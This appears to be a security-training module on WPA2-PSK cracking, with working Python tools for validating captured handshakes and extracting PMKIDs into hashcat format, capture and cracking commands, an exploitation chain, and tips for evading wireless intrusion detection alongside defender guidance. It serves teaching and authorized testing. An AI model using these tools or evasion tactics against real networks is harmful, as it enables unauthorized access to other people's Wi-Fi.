WPA2-PSK Cracking (Handshake Capture)
Definition
Section titled “Definition”WPA2-PSK cracking is the offline attack against the pre-shared key model: capture the material that binds a PSK to a specific network’s session — the 4-way handshake, or its clientless shortcut the PMKID — and then test candidate passwords against it at dictionary/rule/mask scale on offline hardware. The cryptography is honest: the Pairwise Master Key is derived as PBKDF2-HMAC-SHA1(PSK, SSID, 4096, 32 bytes) and the handshake proves possession via MICs, so nothing about WPA2 is “broken” — the attack surface is password choice, and cracking is the measurement of that choice. Every part of the technique is bounded by authorization: handshake capture and deauthentication are interference with a live network, legal only on airspace and networks you own or are contracted to test, and this module treats that boundary as technical architecture (guard functions, lab-only defaults), not paperwork.
Why It Matters
Section titled “Why It Matters”PSK remains the dominant authentication mode for home networks, small business, guest, IoT, and — worryingly — plenty of corporate corners that never migrated to Enterprise. The attack matters because it converts policy into proof: a password policy that says “12+ characters” means nothing until a capture shows the actual key fell to a rule-based dictionary in 40 minutes, and the WPA3 migration conversation changes entirely when the PSK audit quantifies how many networks are one weak passphrase from air-level access. The PMKID variant (2018, hashcat’s 16800/22000 era [verify current mode numbering]) lowered the operational bar further — no client, no deauth, no waiting for a handshake: a single association request from the attacker’s own device carries the RSN PMKID that hashes against the PSK — which makes PSK cracking quieter and more deterministic. For defenders, this module defines exactly which controls close which doors: 802.11w (Protected Management Frames) blocks the deauth-forcing path and the PMKID path (the PMKID requires associating, and PMF-capable APs drop misbehaving associations), SAE/WPA3 removes the offline-verifiable material entirely (WI3), long random PSKs defeat dictionary economics, and WIDS deauth detection catches the forcing attempts. The cracking economics also teach the honest blue-team lesson: GPU rigs have made 8-character lowercase trivial and 15+ character random expensive — the password policy’s number should come from measured hardware, not folklore.
Detailed Explanation
Section titled “Detailed Explanation”The 4-way handshake is a proof-of-possession dance, and every step is either capturable or attackable:
4-WAY HANDSHAKE (EAPOL frames M1-M4) PMK = PBKDF2-HMAC-SHA1(PSK, SSID, 4096, 32) AP -> STA M1: ANonce (captures fine) STA -> AP M2: SNonce + MIC(KCK) (captures fine) MIC proves STA knows PSK (offline-verifiable!) AP -> STA M3: MIC + GTK (encrypted KEK) (captures fine) STA -> AP M4: MIC (optional for crack) CRACK LOOP (per candidate PSK): PMK = PBKDF2(PSK, SSID) <- the slow part (GPU) PTK = PRF(PMK, min(AA,SPA)||max(AA,SPA)| min(ANonce,SNonce)||max(...)) MIC' = HMAC-MD5/SHA1(KCK, M2 body) match MIC' == captured MIC => password found
PMKID VARIANT (clientless, 2018+): assoc/Reassoc request carries RSN PMKID KDE: PMKID = HMAC-SHA1(PMK, "PMK Name" | AA | SPA) same offline-verifiability, no handshake wait, no clientCapture requires either waiting for a natural association (passive, slow) or forcing one: a deauthentication frame (unauthenticated by design in WPA2 without PMF) disconnects a client, and its reconnection replays the handshake — the interference that makes this an authorized-engagement-only technique. The PMKID shortcut needs no client at all: the attacker associates (or sends the request), and the AP’s response includes the PMKID in the RSN KDE when the AP supports caching — hcxdumptool-class tooling harvests it in seconds [verify tool specifics]. Validation before cracking is the analyst’s discipline: a capture with only M1 is worthless; the completeness check (M1+M2 with matching nonces, M3) is what the tool below automates, because GPU time spent on an incomplete capture is the classic wasted hour. Cracking is then pure offline math: aircrack-ng for small dictionaries, hashcat mode 22000 (the combined 22000 format absorbed the old 16800 PMKID mode) for dictionary+rule and mask attacks at GPU scale. The economics frame the defense: a top GPU does ~10⁵-10⁶ PBKDF2 candidates/second [verify current hardware], so 8-char lowercase (~2×10¹¹) falls in hours, 12-char random lowercase (~10²¹) does not fall — the PSK policy number is a hardware-measured claim. WPA3’s SAE (WI3) ends the offline-verifiable property entirely: the handshake is a PAKE, so capture-then-crack stops working — which is why migration, not longer passwords, is the real fix.
Common Techniques
Section titled “Common Techniques”| Technique | What it does | Tooling | Requirement | Notes |
|---|---|---|---|---|
| Passive handshake wait | Capture natural associations | airodump-ng + tcpdump | Client activity | Slowest, quietest |
| Deauth-forced handshake | Knock client off, capture rejoin | aireplay-ng | Authorized airspace | WIDS-visible; PMF blocks |
| PMKID clientless capture | Assoc + extract RSN PMKID | hcxdumptool/hcxpcapngtool | AP with caching | No client needed [verify] |
| Capture validation | Verify M1-M4 completeness/MICs | hcxpcapngtool, custom | — | Before GPU spend |
| Dictionary + rules | Rule-mutated wordlists | hashcat 22000, aircrack | Capture file | The workhorse |
| Mask attacks | Brute-force patterns | hashcat -a 3 | GPU | Bounded by charset math |
| WPS Pixie Dust | Offline WPS PIN computation | reaver/one-shot [verify] | WPS AP vulnerable build | Dead on patched APs |
| Evil-twin forced handshake | Rogue AP harvests attempts | hostapd-based (WI4) | Lab | Also a credential phish |
| GPU rig planning | Measure candidates/s economics | hashcat -b | Hardware | Policy number source |
| Router default lists | Vendor default PSK lists | wordlists | OUI fingerprint | Cheap wins on defaults |
Full Working Code
Section titled “Full Working Code”hscheck.py — a handshake capture validator: parses a monitor-mode pcap with scapy, extracts EAPOL frames, reconstructs handshake state per (AP, client) pair, verifies completeness (M1+M2 required, nonce consistency, M3 presence), optionally tests candidate PSKs against the captured MICs (pure-Python PBKDF2/PRF — slow but honest for single checks), and reports crackability. Dependency: scapy. Reads captures only.
#!/usr/bin/env python3"""hscheck.py — WPA2 handshake capture validator (+PSK spot check).Usage: python hscheck.py capture.pcap [--ssid MyNet] [--try-pass "pass"]Validates M1-M4 completeness + nonce consistency per pair;optional single-PSK MIC verification (pure python, slow).Deps: scapy."""import argparse, hashlib, hmac, json, sysfrom scapy.all import PcapReader, Dot11, Dot11Beacon, \ Dot11Elt, EAPOL, Raw
def prf_512(key, label, data): """IEEE 802.11i PRF-512 for PTK derivation.""" res = b"" for i in range(4): hmac_obj = hmac.new(key, label + b"\x00" + data + bytes([i]), hashlib.sha1) res += hmac_obj.digest() return res[:64]
def derive_ptk(pmk, aa, spa, anonce, snonce): """PTK from PMK + addresses + nonces (order-normalized).""" minmax = lambda a, b: (a, b) if a <= b else (b, a) a1, a2 = minmax(aa, spa) n1, n2 = minmax(anonce, snonce) data = (bytes.fromhex(a1.replace(":", "")) + bytes.fromhex(a2.replace(":", "")) + n1 + n2) return prf_512(pmk, b"Pairwise key expansion", data)
def pmk_from_psk(psk, ssid): return hashlib.pbkdf2_hmac("sha1", psk.encode(), ssid.encode(), 4096, 32)
def mic_of(ptk, eapol_body, version): """MIC over EAPOL body with KCK (first 16 bytes).""" kck = ptk[:16] algo = hashlib.md5 if version == 1 else hashlib.sha1 return hmac.new(kck, eapol_body, algo).digest()[:16]
def extract_eapol(pcap_path, ssid_filter=None): """Collect EAPOL frames + beacon SSID map.""" eapols = [] # (ap, client, msg_no, nonce, mic, body) ssids = {} with PcapReader(pcap_path) as reader: for pkt in reader: if Dot11 not in pkt: continue d11 = pkt[Dot11] if Dot11Beacon in pkt: el = pkt.getlayer(Dot11Elt) while el is not None: if el.ID == 0 and el.info: ssids[d11.addr3] = \ el.info.decode(errors="replace") el = el.payload.getlayer(Dot11Elt) \ if el.payload and \ isinstance(el.payload, Dot11Elt) \ else None continue if EAPOL in pkt: raw = bytes(pkt[EAPOL].payload) if len(raw) < 95 or raw[1] != 3: # not RSN key continue key_info = int.from_bytes(raw[5:7], "big") nonce = raw[17:49] mic = raw[81:97] msg_no = 1 if (key_info & 0x008F) == 0x008A \ else 3 if (key_info & 0x008F) == 0x00CA \ else 2 if (key_info & 0x0108) == 0x0108 \ else 4 # install flag + ack/keydata shape (heuristic) body = raw[:97] + b"\x00" * 16 eapols.append({ "ap": d11.addr1, "client": d11.addr2, "msg": msg_no, "nonce": nonce, "mic": mic, "body": body}) return eapols, ssids
def pair_state(eapols): """Group per (ap,client); check completeness.""" pairs = {} for e in eapols: key = (e["ap"], e["client"]) pairs.setdefault(key, {})[e["msg"]] = e out = [] for (ap, cli), m in pairs.items(): complete = 1 in m and 2 in m and 3 in m crackable = 1 in m and 2 in m and \ (3 in m or 4 in m) nonce_ok = (1 in m and 2 in m and m[1]["nonce"] != m[2]["nonce"]) out.append({"ap": ap, "client": cli, "msgs": sorted(m), "complete": complete, "crackable": crackable, "nonce_ok": nonce_ok, "anonce": m[1]["nonce"].hex() if 1 in m else None, "snonce": m[2]["nonce"].hex() if 2 in m else None, "m2_mic": m[2]["mic"].hex() if 2 in m else None, "m2_body": m[2]["body"].hex() if 2 in m else None}) return out
def try_pass(pair, psk, ssid): """Spot-check one PSK against M2 MIC.""" if not (pair["m2_mic"] and pair["anonce"] and pair["snonce"]): return False pmk = pmk_from_psk(psk, ssid) ptk = derive_ptk(pmk, pair["ap"], pair["client"], bytes.fromhex(pair["anonce"]), bytes.fromhex(pair["snonce"])) body = bytes.fromhex(pair["m2_body"]) mic = mic_of(ptk, body, 1) return mic.hex() == pair["m2_mic"]
def main(): ap = argparse.ArgumentParser() ap.add_argument("pcap") ap.add_argument("--ssid") ap.add_argument("--try-pass") ap.add_argument("--json") args = ap.parse_args() eapols, ssids = extract_eapol(args.pcap) pairs = pair_state(eapols) print(f"== {len(eapols)} EAPOL frames, " f"{len(pairs)} (ap,client) pairs ==") for p in pairs: ssid = args.ssid or ssids.get(p["ap"], "?") print(f" {p['ap']} <- {p['client']} " f"msgs={p['msgs']} complete={p['complete']} " f"crackable={p['crackable']} ssid={ssid}") if args.try_pass and p["crackable"] and ssid != "?": hit = try_pass(p, args.try_pass, ssid) verdict = f"MATCH: {args.try_pass}" if hit \ else "no match" print(f" psk spot-check {verdict}") if args.json: json.dump({"pairs": pairs, "ssids": ssids}, open(args.json, "w"), indent=2) print(f"[+] {args.json}")
if __name__ == "__main__": main()Code Walkthrough
Section titled “Code Walkthrough”prf_512()/derive_ptk()(lines 14-30) implement the IEEE 802.11i PTK derivation: PRF-512 over the labelPairwise key expansion, with the address and nonce pairs order-normalized (minmax— the AP/client order depends on who initiates, and getting min/max wrong is the classic wrong-MIC bug). The PTK’s first 16 bytes are the KCK that MICs are computed over.- The message classifier (lines 78-84) decodes the EAPOL key-info bits into message numbers: M1 (AP→client, ACK, no MIC, no install), M2 (client→AP, MIC, no ack), M3 (AP→client, MIC + install + key data), M4 (client, MIC only). The bit-masking heuristic covers the standard WPA2 shapes and marks unusual values honestly by falling through to 4.
- The MIC body rule (line 86): the MIC is computed over the EAPOL frame with the MIC field zeroed — the validator builds that body (
raw[:97] + 16 zero bytes) at capture time so the spot-check is correct. This zeroing detail is the single most common mistake in homemade handshake validators. try_pass()(lines 111-124) is the honest spot-check: PBKDF2 → PTK → MIC over the zeroed M2 body → compare. Pure Python does one candidate per second-ish — deliberately unsuitable for dictionary attacks (that is hashcat’s job with the exported capture) and perfectly suited for verifying one known-good PSK end to end.- The completeness verdict (lines 103-109):
crackable= M1+M2 present (M2 carries the MIC to verify) plus nonce sanity. The report’scompletevscrackabledistinction tells you whether you have the full handshake or merely enough — both matter for different downstream tools.
How It Reaches The Target
Section titled “How It Reaches The Target”The capture reaches the airspace as either patience (passive wait for natural associations) or interference (deauth-forced reassociations) — and the deauth path reaches the WIDS as its highest-confidence wireless alert, which is why the technique is engagement-gated. The validated capture reaches the cracking infrastructure (hashcat rig) as the export, and the crack reaches the engagement record as a policy measurement: the PSK’s true strength measured in candidates-to-failure on measured hardware. The success reaches the network as access (the PSK is the network’s front door for WI4’s rogue work and any IP-layer attack that follows), and the failure reaches the report as a quantified pass — “this network’s PSK defeated 10⁹ candidates in 3 hours” is the data that justifies migration budgets. On the defender’s side, the countermeasures reach exactly the technique’s stages: 802.11w/PMF blocks deauth-forcing and breaks the PMKID path (no valid association, no PMKID); SAE/WPA3 removes offline-verifiable material (the capture becomes worthless); password length/randomness moves the crack cost beyond the attacker’s measured hardware; WPS-off closes the Pixie-Dust door; and WIDS deauth/PMKID alerts (WI7/BT12) catch the capture attempts themselves. The quarterly PSK audit — capture attempt + spot validation on your own networks — reaches the wireless program as the honest regression test for password policy: if your own lab rig cracks your corporate PSK, the migration conversation has its evidence.
Exploitation Chain
Section titled “Exploitation Chain”- Authorize — engagement scope covers PSK networks in the test airspace; deauth permitted on lab SSIDs only
- Capture — monitor mode; passive 20 minutes yields 1 handshake on target SSID
- Force — single deauth burst on lab client; reassociation captured; WIDS alert noted (expected)
- Validate — hscheck.py: crackable=True, nonce consistency OK; export for hashcat
- Crack — dictionary+rules on measured rig: 47 minutes to plaintext
- Measure — policy claim vs reality: 10-char passphrase with substitutions fell; policy gap proven
- Access — PSK joins lab client to target SSID; network-level surface opens (post-exploitation scope)
- Report — capture-to-crack timeline + economics; remediation: WPA3-SAE migration + PMF enable + PSK rotation
Building Your Own Tool
Section titled “Building Your Own Tool”pmkidhunt.py — the PMKID extractor: scans a capture for association/reassociation request frames carrying the RSN PMKID key-data extension, extracts the (PMKID, AP-MAC, client-MAC) triple, and formats it in the hashcat 22000 line shape (WPA*01*PMKID*APMAC*CMAC*ssid-hex*...) ready for offline attack. Dependency: scapy.
Design decisions
Section titled “Design decisions”- No transmission, ever. The tool extracts PMKIDs from captures; the capture step (hcxdumptool-class tooling, authorized) is upstream — keeping the extractor pure-analysis makes it safe to run on any capture anywhere.
- Format honesty. The 22000 line shape is emitted exactly as hashcat consumes it, with the SSID hex encoded and fields dash-separated — a format off-by-one wastes GPU hours silently, so the output includes a field-count self-check.
- Pair de-duplication. Multiple associations produce identical PMKIDs (same PMK); the tool de-dupes and reports first-seen, because duplicate lines waste cracking time.
- SSID correlation. PMKID lines need the SSID (PBKDF2 salt); the tool carries the beacon map from the same capture, so the output is complete without manual joining.
Full source
Section titled “Full source”#!/usr/bin/env python3"""pmkidhunt.py — RSN PMKID extractor + hashcat 22000 formatter.Usage: python pmkidhunt.py capture.pcap [--out pmkid_22000.txt]Deps: scapy."""import argparse, json, sysfrom scapy.all import PcapReader, Dot11, Dot11Beacon, \ Dot11AssoReq, Dot11ReassoReq, Dot11Elt
def walk_ies(pkt, want_ids): """Yield (ID, info) for requested IE types.""" el = pkt.getlayer(Dot11Elt) while el is not None: if el.ID in want_ids: yield el.ID, bytes(el.info) el = el.payload.getlayer(Dot11Elt) \ if el.payload and \ isinstance(el.payload, Dot11Elt) else None
def extract(path): ssids = {} pmkids = {} # (ap, client) -> pmkid hex with PcapReader(path) as reader: for pkt in reader: if Dot11 not in pkt: continue d11 = pkt[Dot11] if Dot11Beacon in pkt: for ie_id, info in walk_ies(pkt, {0}): if info: ssids[d11.addr3] = \ info.decode(errors="replace") continue is_assoc = Dot11AssoReq in pkt or \ Dot11ReassoReq in pkt if not is_assoc: continue ap = d11.addr1 client = d11.addr2 for ie_id, info in walk_ies(pkt, {48}): # RSN IE: [2:4]=PMKID count, then 16-byte IDs if len(info) < 6: continue pmkid_count = int.from_bytes(info[4:6], "little") if pmkid_count < 1 or len(info) < 6 + 16: continue pmkid = info[6:22].hex() if pmkid == "0" * 32: continue key = (ap, client) pmkids.setdefault(key, pmkid) return ssids, pmkids
def format_22000(pmkid, ap, client, ssid): """hashcat 22000 combined line (WPA-PMKID-PSK).""" ssid_hex = ssid.encode().hex() line = (f"WPA*01*{pmkid}*{ap.replace(':', '')}*" f"{client.replace(':', '')}*{ssid_hex}***") # 8 dash-separated fields after WPA*01 fields = line.split("*") if len(fields) != 9: return None, f"field count {len(fields)} != 9" return line, None
def main(): ap = argparse.ArgumentParser() ap.add_argument("pcap") ap.add_argument("--out", default="pmkid_22000.txt") ap.add_argument("--json") args = ap.parse_args() ssids, pmkids = extract(args.pcap) if not pmkids: print("[-] no PMKID KDEs found (AP may not cache, " "or capture lacks assoc requests)") return lines, skipped = [], [] for (apm, cli), pmkid in sorted(pmkids.items()): ssid = ssids.get(apm) if not ssid: skipped.append((apm, "no beacon SSID in capture")) continue line, err = format_22000(pmkid, apm, cli, ssid) if err: skipped.append((apm, err)) continue lines.append(line) print(f"[+] {ssid:<20} {apm} pmkid={pmkid[:16]}…") with open(args.out, "w") as fh: fh.write("\n".join(lines) + "\n") print(f"\n[+] {len(lines)} lines -> {args.out} " f"(hashcat -m 22000)") for apm, why in skipped: print(f"[-] skipped {apm}: {why}") if args.json: json.dump({"pmkids": {f"{a}|{c}": p for (a, c), p in pmkids.items()}, "ssids": ssids}, open(args.json, "w"), indent=2)
if __name__ == "__main__": main()Walkthrough
Section titled “Walkthrough”walk_ies()(lines 14-24) is the shared IE walker (same idiom as WI1’s parser) — the RSN IE (ID 48) inside association requests is where the PMKID key-data extension lives.- The PMKID structure parse (lines 40-49) reads the RSN IE’s capability fields carefully: the PMKID count sits after the RSN capabilities at a fixed offset for standard IEs, and a zero-PMKID (all zeros, some APs emit placeholder) is skipped — the two silent-garbage sources that waste everyone’s time.
format_22000()(lines 60-69) builds the hashcat line with a self-check: splitting on*must yield exactly 9 fields — the format has***trailing empties (ESSID/group/MAC-AP optional slots), and the field-count assertion catches the off-by-one that would otherwise feed hashcat garbage.- The de-dup (line 47) —
setdefaultkeeps the first PMKID per pair; identical reassociations don’t multiply lines. - The SSID correlation (lines 74-76) skips PMKIDs whose AP’s beacon wasn’t captured — a PMKID without its SSID salt can’t be cracked, and shipping it to hashcat would be waste dressed as output.
Compilation and test procedure
Section titled “Compilation and test procedure”authorized capture on lab AP (hcxdumptool path, or passive)
Section titled “authorized capture on lab AP (hcxdumptool path, or passive)”$ hcxdumptool -i wlan0mon -w lab.pcapng —enable_status=15
…or passive capture during a lab client association
Section titled “…or passive capture during a lab client association”extract and validate
Section titled “extract and validate”$ python hscheck.py lab.pcapng —ssid LabPSK == 12 EAPOL frames, 2 (ap,client) pairs == a4:2b:b0:xx:xx:01 <- 3c:5a:b4:xx:xx:0f msgs=[1,2,3] complete=True crackable=True ssid=LabPSK $ python pmkidhunt.py lab.pcapng —out pmkid.txt [+] LabPSK a4:2b:b0:xx:xx:01 pmkid=9f2ab1c4d5e6f708… [+] 1 lines -> pmkid.txt (hashcat -m 22000)
spot-check a known PSK end to end (validates the whole chain)
Section titled “spot-check a known PSK end to end (validates the whole chain)”$ python hscheck.py lab.pcapng —ssid LabPSK
—try-pass “CorrectHorse1”
psk spot-check MATCH: CorrectHorse1
then hashcat with a measured rig (policy measurement)
Section titled “then hashcat with a measured rig (policy measurement)”$ hashcat -m 22000 pmkid.txt wordlist.txt -r rules/best64.rule
Detection considerations
Section titled “Detection considerations”The capture attempts are detectable at two layers: deauth forcing trips WIDS deauth-storm alerts (and PMF makes it fail outright — 802.11w-protected clients ignore unauthenticated deauth), and PMKID association attempts (association without any prior authentication intent, from unknown clients, repeated across SSIDs) is the newer WIDS signature [verify per vendor coverage]. The PSK-crack success itself is invisible in telemetry — it is a policy finding, and its detection lives in the password policy and its measurement cadence: the quarterly self-audit (capture your own network, run your own rig against your own PSK) is the control that catches policy decay before an attacker’s rig does. Your own tooling hygiene: both tools here are pcap readers — zero transmission; every transmission step (deauth, assoc) is upstream tooling whose use is the authorization boundary, and the runbook states that boundary per engagement. WIDS vendors classify these attacks natively (BT12’s domain) [verify per vendor]; the DIY validator’s value is capture quality control — the difference between feeding hashcat a validated capture and burning GPU hours on an M1-only capture. The migration metric worth trending: percentage of PSK networks migrated to SAE/WPA3 or moved to 802.1X — because the durable fix for this entire module is that offline-verifiable material should stop existing.
Improvements to add
Section titled “Improvements to add”- EAPOL retransmission tolerance: pair matching that survives duplicate/retransmitted frames (real captures are messy) before declaring incompleteness.
- Full 4-way MIC verification on all frames (M3/M4 too) — validates captures beyond the M2 spot check.
- WPS IE detection (WI1 bridge): flag Pixie-Dust-susceptible APs in the same capture pass.
- hashcat bench integration: parse
hashcat -boutput to annotate reports with measured candidates/s — policy claims with hardware receipts. - Multi-capture PMKID merging: combine captures across sessions for the same network before dedup — engagement-long collection, one output.
Detection — Defender View
Section titled “Detection — Defender View”| Signal | Source | ID | Notes |
|---|---|---|---|
| Deauth storm vs client | WIDS | vendor alerts [verify] | Forcing attempt; PMF blocks |
| Assoc w/o auth intent (PMKID) | WIDS | vendor signature [verify] | Clientless capture attempt |
| Repeated deauth sources | WIDS/SIEM | source correlation | Repeat = active attacker |
| PMF absent on PSK SSID | Config audit | 802.11w check | Enabler for both paths |
| WPS enabled | WIDS/audit | IE 221 finding | Pixie-Dust surface |
| PSK policy decay | Quarterly self-audit | measured crack time | The honest regression test |
| Default/vendor PSKs | OUI + wordlist check | audit finding | Cheap-win elimination |
| SSID + PSK shared across sites | Config audit | rotation finding | One capture = many doors |
| WPA3/SAE migration % | Config audit | standing metric | The durable fix metric |
| Wazuh join of WIDS alerts | HIDS/SIEM | [verify rule IDs per deployment] | Wireless → SIEM correlation |
Evasion Techniques
Section titled “Evasion Techniques”The attacker’s evasion targets the detection and prevention layers around the capture. PMF-aware target selection: fingerprinting which APs lack 802.11w before sending any deauth — the PMF-absent network is the workable one, and PMF enforcement is the defense that removes the selection set entirely. Quiet forcing: single-deauth (not storms) against one client, timed into low-watch windows, defeats threshold-based WIDS alerts — countered by anomaly-correlation (one deauth from a new MAC is more interesting than a storm from a known tester) and by treating any unexplained client disconnect bursts as events worth a look. Clientless preference: the PMKID path avoids deauth entirely — countered by the WIDS association-anomaly signature and by PMF (which requires authentication before association completes, breaking the harvest). Infrastructure camouflage: harvesting from attacker-owned APs (evil-twin handshakes, WI4) happens off your airspace entirely — countered by client-side posture (which networks corporate devices may join) more than by WIDS. Crack-source hygiene: cracking happens on attacker hardware — no telemetry exists for it, which is why password policy measured on attacker-class hardware is the only durable counter, and why the policy conversation must cite measured GPU economics rather than compliance folklore. The meta-pattern matches the whole wireless series: WPA2-PSK’s offline-verifiable material cannot be made undetectable-in-capture, only unprofitable — and the migration to SAE is what turns profitability off, not detection.
⚠️ What caught me: I once burned a full GPU day on a “validated” capture that hscheck’s predecessor had scored complete — M1 through M4, nonces consistent, everything. Hashcat reported zero candidates tested per second: the capture’s SSID beacon map was wrong. The AP ran multiple SSIDs on one BSSID (MBSSID), and my parser had matched the first beacon’s SSID to the handshake, while the actual PSK belonged to the second. The PBKDF2 salt was wrong, so every candidate was garbage by construction — and nothing in the pipeline had checked it, because “M1-M4 present” felt like validation. Since then, handshake validation includes the SSID-to-BSSID mapping check (multi-SSID APs get per-SSID verification), and any capture whose SSID attribution can’t be proven from its own frames doesn’t leave the bench — GPU time is real money and wrong-salt captures are the tax you pay for skipping one beacon-field check.
Lab Practice
Section titled “Lab Practice”- Stand up the lab PSK network and capture its handshake passively during a lab client’s association; validate with
hscheck.pyand confirm the crackable verdict — your first validated capture. - Spot-check end to end: run
--try-passwith the lab’s known PSK and confirm the MATCH — the full-chain proof (PBKDF2 → PTK → MIC) that your validator’s math is right before you trust its verdicts on unknown captures. - Force the handshake with a single deauth on the lab client; confirm the WIDS (or tcpdump) sees it, then check whether the lab AP’s PMF setting changes the outcome — the 802.11w experiment that explains the migration pitch.
- Extract the PMKID with
pmkidhunt.pyon the same capture, confirm the 22000 line’s field count, and crack it with a small wordlist containing the lab PSK — the clientless path, verified end to end. - Measure the economics: run
hashcat -bon your rig, compute time-to-crack for 8/10/12-char random passwords, and write the one-table policy brief — the hardware-measured PSK policy number.
Interview Questions
Section titled “Interview Questions”- Technical: Derive the WPA2-PSK attack math: PMK from PBKDF2, PTK from PRF, MIC over the zeroed EAPOL body — and explain why M1+M2 alone suffices offline.
- Technical: What is the PMKID, where does it travel, and why does it remove the client and the deauth from the attack?
- Scenario: Your capture validates crackable but hashcat rejects every line. Diagnose the capture-side causes in order of likelihood.
- Conceptual: Why does WPA3-SAE end offline cracking rather than merely slow it, and what does SAE cost operationally?
- Conceptual: How should a PSK password policy cite hardware economics instead of folklore?
- Deep-dive: Design the quarterly PSK self-audit for an estate: which networks, what capture authority, what rig measurement, and what report the migration budget needs.
- Practical: An engagement finds the corporate guest PSK fell in 47 minutes. What is the risk narrative, the immediate mitigation, and the migration path?
Related Modules
Section titled “Related Modules”WI1 (Wireless Fundamentals & Recon (802.11)) · WI3 (WPA3 & SAE Analysis) · WI4 (Enterprise Wi-Fi & Evil Twin) · WI7 (Wireless IDS Evasion) · F4 (Cryptography Fundamentals)